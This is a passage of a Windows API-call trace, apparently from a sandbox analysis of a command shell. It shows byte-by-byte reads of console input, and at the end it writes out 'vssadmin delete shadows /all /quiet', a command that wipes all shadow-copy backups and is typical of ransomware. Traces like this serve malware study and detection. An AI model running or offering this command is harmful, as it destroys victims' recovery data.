lpNumberOfBytesRead=0x2a3676f658*=0x1, lpOverlapped=0x0) returned 1 [0172.139] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=1, lpWideCharStr=0x7ff75f4f3c30, cchWideChar=1 | out: lpWideCharStr="vode con cp select=1251\n") returned 1 [0172.139] _get_osfhandle (_FileHandle=0) returned 0x248 [0172.139] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.139] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75f4e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2a3676f658, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesRead=0x2a3676f658*=0x1, lpOverlapped=0x0) returned 1 [0172.139] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=1, lpWideCharStr=0x7ff75f4f3c32, cchWideChar=1 | out: lpWideCharStr="sde con cp select=1251\n") returned 1 [0172.139] _get_osfhandle (_FileHandle=0) returned 0x248 [0172.139] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.139] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75f4e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2a3676f658, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesRead=0x2a3676f658*=0x1, lpOverlapped=0x0) returned 1 [0172.139] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=1, lpWideCharStr=0x7ff75f4f3c34, cchWideChar=1 | out: lpWideCharStr="se con cp select=1251\n") returned 1 [0172.139] _get_osfhandle (_FileHandle=0) returned 0x248 [0172.139] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.140] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75f4e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2a3676f658, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesRead=0x2a3676f658*=0x1, lpOverlapped=0x0) returned 1 [0172.140] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=1, lpWideCharStr=0x7ff75f4f3c36, cchWideChar=1 | out: lpWideCharStr="a con cp select=1251\n") returned 1 [0172.140] _get_osfhandle (_FileHandle=0) returned 0x248 [0172.140] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.140] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75f4e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2a3676f658, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesRead=0x2a3676f658*=0x1, lpOverlapped=0x0) returned 1 [0172.140] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=1, lpWideCharStr=0x7ff75f4f3c38, cchWideChar=1 | out: lpWideCharStr="dcon cp select=1251\n") returned 1 [0172.140] _get_osfhandle (_FileHandle=0) returned 0x248 [0172.140] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.140] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75f4e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2a3676f658, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesRead=0x2a3676f658*=0x1, lpOverlapped=0x0) returned 1 [0172.140] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=1, lpWideCharStr=0x7ff75f4f3c3a, cchWideChar=1 | out: lpWideCharStr="mon cp select=1251\n") returned 1 [0172.140] _get_osfhandle (_FileHandle=0) returned 0x248 [0172.140] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.140] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75f4e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2a3676f658, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesRead=0x2a3676f658*=0x1, lpOverlapped=0x0) returned 1 [0172.140] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=1, lpWideCharStr=0x7ff75f4f3c3c, cchWideChar=1 | out: lpWideCharStr="in cp select=1251\n") returned 1 [0172.140] _get_osfhandle (_FileHandle=0) returned 0x248 [0172.140] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.140] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75f4e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2a3676f658, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesRead=0x2a3676f658*=0x1, lpOverlapped=0x0) returned 1 [0172.140] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=1, lpWideCharStr=0x7ff75f4f3c3e, cchWideChar=1 | out: lpWideCharStr="n cp select=1251\n") returned 1 [0172.140] _get_osfhandle (_FileHandle=0) returned 0x248 [0172.140] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.140] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75f4e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2a3676f658, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesRead=0x2a3676f658*=0x1, lpOverlapped=0x0) returned 1 [0172.141] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=1, lpWideCharStr=0x7ff75f4f3c40, cchWideChar=1 | out: lpWideCharStr=" cp select=1251\n") returned 1 [0172.141] _get_osfhandle (_FileHandle=0) returned 0x248 [0172.141] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.141] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75f4e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2a3676f658, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesRead=0x2a3676f658*=0x1, lpOverlapped=0x0) returned 1 [0172.141] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=1, lpWideCharStr=0x7ff75f4f3c42, cchWideChar=1 | out: lpWideCharStr="dp select=1251\n") returned 1 [0172.141] _get_osfhandle (_FileHandle=0) returned 0x248 [0172.141] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.141] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75f4e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2a3676f658, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesRead=0x2a3676f658*=0x1, lpOverlapped=0x0) returned 1 [0172.141] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=1, lpWideCharStr=0x7ff75f4f3c44, cchWideChar=1 | out: lpWideCharStr="e select=1251\n") returned 1 [0172.141] _get_osfhandle (_FileHandle=0) returned 0x248 [0172.141] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.141] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75f4e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2a3676f658, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesRead=0x2a3676f658*=0x1, lpOverlapped=0x0) returned 1 [0172.141] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=1, lpWideCharStr=0x7ff75f4f3c46, cchWideChar=1 | out: lpWideCharStr="lselect=1251\n") returned 1 [0172.141] _get_osfhandle (_FileHandle=0) returned 0x248 [0172.141] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.141] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75f4e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2a3676f658, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesRead=0x2a3676f658*=0x1, lpOverlapped=0x0) returned 1 [0172.141] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=1, lpWideCharStr=0x7ff75f4f3c48, cchWideChar=1 | out: lpWideCharStr="eelect=1251\n") returned 1 [0172.141] _get_osfhandle (_FileHandle=0) returned 0x248 [0172.141] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.141] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75f4e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2a3676f658, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesRead=0x2a3676f658*=0x1, lpOverlapped=0x0) returned 1 [0172.142] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=1, lpWideCharStr=0x7ff75f4f3c4a, cchWideChar=1 | out: lpWideCharStr="tlect=1251\n") returned 1 [0172.142] _get_osfhandle (_FileHandle=0) returned 0x248 [0172.142] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.142] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75f4e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2a3676f658, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesRead=0x2a3676f658*=0x1, lpOverlapped=0x0) returned 1 [0172.142] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=1, lpWideCharStr=0x7ff75f4f3c4c, cchWideChar=1 | out: lpWideCharStr="eect=1251\n") returned 1 [0172.142] _get_osfhandle (_FileHandle=0) returned 0x248 [0172.142] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.142] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75f4e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2a3676f658, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesRead=0x2a3676f658*=0x1, lpOverlapped=0x0) returned 1 [0172.142] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=1, lpWideCharStr=0x7ff75f4f3c4e, cchWideChar=1 | out: lpWideCharStr=" ct=1251\n") returned 1 [0172.142] _get_osfhandle (_FileHandle=0) returned 0x248 [0172.142] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.142] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75f4e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2a3676f658, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesRead=0x2a3676f658*=0x1, lpOverlapped=0x0) returned 1 [0172.142] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=1, lpWideCharStr=0x7ff75f4f3c50, cchWideChar=1 | out: lpWideCharStr="st=1251\n") returned 1 [0172.142] _get_osfhandle (_FileHandle=0) returned 0x248 [0172.142] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.142] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75f4e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2a3676f658, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesRead=0x2a3676f658*=0x1, lpOverlapped=0x0) returned 1 [0172.142] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=1, lpWideCharStr=0x7ff75f4f3c52, cchWideChar=1 | out: lpWideCharStr="h=1251\n") returned 1 [0172.142] _get_osfhandle (_FileHandle=0) returned 0x248 [0172.142] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.142] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75f4e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2a3676f658, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesRead=0x2a3676f658*=0x1, lpOverlapped=0x0) returned 1 [0172.142] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=1, lpWideCharStr=0x7ff75f4f3c54, cchWideChar=1 | out: lpWideCharStr="a1251\n") returned 1 [0172.143] _get_osfhandle (_FileHandle=0) returned 0x248 [0172.143] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.143] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75f4e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2a3676f658, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesRead=0x2a3676f658*=0x1, lpOverlapped=0x0) returned 1 [0172.143] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=1, lpWideCharStr=0x7ff75f4f3c56, cchWideChar=1 | out: lpWideCharStr="d251\n") returned 1 [0172.143] _get_osfhandle (_FileHandle=0) returned 0x248 [0172.143] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.143] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75f4e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2a3676f658, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesRead=0x2a3676f658*=0x1, lpOverlapped=0x0) returned 1 [0172.143] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=1, lpWideCharStr=0x7ff75f4f3c58, cchWideChar=1 | out: lpWideCharStr="o51\n") returned 1 [0172.143] _get_osfhandle (_FileHandle=0) returned 0x248 [0172.143] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.143] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75f4e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2a3676f658, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesRead=0x2a3676f658*=0x1, lpOverlapped=0x0) returned 1 [0172.143] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=1, lpWideCharStr=0x7ff75f4f3c5a, cchWideChar=1 | out: lpWideCharStr="w1\n") returned 1 [0172.143] _get_osfhandle (_FileHandle=0) returned 0x248 [0172.143] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.143] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75f4e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2a3676f658, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesRead=0x2a3676f658*=0x1, lpOverlapped=0x0) returned 1 [0172.143] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=1, lpWideCharStr=0x7ff75f4f3c5c, cchWideChar=1 | out: lpWideCharStr="s\n") returned 1 [0172.143] _get_osfhandle (_FileHandle=0) returned 0x248 [0172.143] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.143] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75f4e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2a3676f658, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesRead=0x2a3676f658*=0x1, lpOverlapped=0x0) returned 1 [0172.143] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=1, lpWideCharStr=0x7ff75f4f3c5e, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0172.143] _get_osfhandle (_FileHandle=0) returned 0x248 [0172.144] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.144] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75f4e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2a3676f658, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesRead=0x2a3676f658*=0x1, lpOverlapped=0x0) returned 1 [0172.144] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=1, lpWideCharStr=0x7ff75f4f3c60, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0172.144] _get_osfhandle (_FileHandle=0) returned 0x248 [0172.144] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.144] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75f4e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2a3676f658, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesRead=0x2a3676f658*=0x1, lpOverlapped=0x0) returned 1 [0172.144] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=1, lpWideCharStr=0x7ff75f4f3c62, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0172.144] _get_osfhandle (_FileHandle=0) returned 0x248 [0172.144] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.144] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75f4e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2a3676f658, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesRead=0x2a3676f658*=0x1, lpOverlapped=0x0) returned 1 [0172.144] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=1, lpWideCharStr=0x7ff75f4f3c64, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0172.144] _get_osfhandle (_FileHandle=0) returned 0x248 [0172.144] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.144] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75f4e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2a3676f658, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesRead=0x2a3676f658*=0x1, lpOverlapped=0x0) returned 1 [0172.144] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=1, lpWideCharStr=0x7ff75f4f3c66, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0172.144] _get_osfhandle (_FileHandle=0) returned 0x248 [0172.144] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.144] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75f4e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2a3676f658, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesRead=0x2a3676f658*=0x1, lpOverlapped=0x0) returned 1 [0172.144] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=1, lpWideCharStr=0x7ff75f4f3c68, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0172.144] _get_osfhandle (_FileHandle=0) returned 0x248 [0172.144] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.145] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75f4e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2a3676f658, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesRead=0x2a3676f658*=0x1, lpOverlapped=0x0) returned 1 [0172.145] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=1, lpWideCharStr=0x7ff75f4f3c6a, cchWideChar=1 | out: lpWideCharStr="/") returned 1 [0172.145] _get_osfhandle (_FileHandle=0) returned 0x248 [0172.145] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.145] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75f4e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2a3676f658, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesRead=0x2a3676f658*=0x1, lpOverlapped=0x0) returned 1 [0172.145] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=1, lpWideCharStr=0x7ff75f4f3c6c, cchWideChar=1 | out: lpWideCharStr="q") returned 1 [0172.145] _get_osfhandle (_FileHandle=0) returned 0x248 [0172.145] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.145] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75f4e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2a3676f658, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesRead=0x2a3676f658*=0x1, lpOverlapped=0x0) returned 1 [0172.145] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=1, lpWideCharStr=0x7ff75f4f3c6e, cchWideChar=1 | out: lpWideCharStr="u") returned 1 [0172.145] _get_osfhandle (_FileHandle=0) returned 0x248 [0172.145] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.145] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75f4e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2a3676f658, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesRead=0x2a3676f658*=0x1, lpOverlapped=0x0) returned 1 [0172.145] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=1, lpWideCharStr=0x7ff75f4f3c70, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0172.145] _get_osfhandle (_FileHandle=0) returned 0x248 [0172.145] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.145] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75f4e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2a3676f658, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesRead=0x2a3676f658*=0x1, lpOverlapped=0x0) returned 1 [0172.145] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=1, lpWideCharStr=0x7ff75f4f3c72, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0172.145] _get_osfhandle (_FileHandle=0) returned 0x248 [0172.145] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.146] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75f4e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2a3676f658, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesRead=0x2a3676f658*=0x1, lpOverlapped=0x0) returned 1 [0172.146] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=1, lpWideCharStr=0x7ff75f4f3c74, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0172.146] _get_osfhandle (_FileHandle=0) returned 0x248 [0172.146] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.146] ReadFile (in: hFile=0x248, lpBuffer=0x7ff75f4e9970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2a3676f658, lpOverlapped=0x0 | out: lpBuffer=0x7ff75f4e9970*, lpNumberOfBytesRead=0x2a3676f658*=0x1, lpOverlapped=0x0) returned 1 [0172.146] MultiByteToWideChar (in: CodePage=0x4e3, dwFlags=0x1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=1, lpWideCharStr=0x7ff75f4f3c76, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0172.146] _get_osfhandle (_FileHandle=0) returned 0x248 [0172.146] GetFileType (hFile=0x248) returned 0x3 [0172.146] _get_osfhandle (_FileHandle=0) returned 0x248 [0172.146] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0172.146] _get_osfhandle (_FileHandle=1) returned 0x254 [0172.146] GetFileType (hFile=0x254) returned 0x3 [0172.146] _get_osfhandle (_FileHandle=1) returned 0x254 [0172.146] WideCharToMultiByte (in: CodePage=0x4e3, dwFlags=0x0, lpWideCharStr="vssadmin delete shadows /all /quiet\n", cchWideChar=-1, lpMultiByteStr=0x7ff75f4e9970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="vssadmin delete shadows /all /quiet\n", 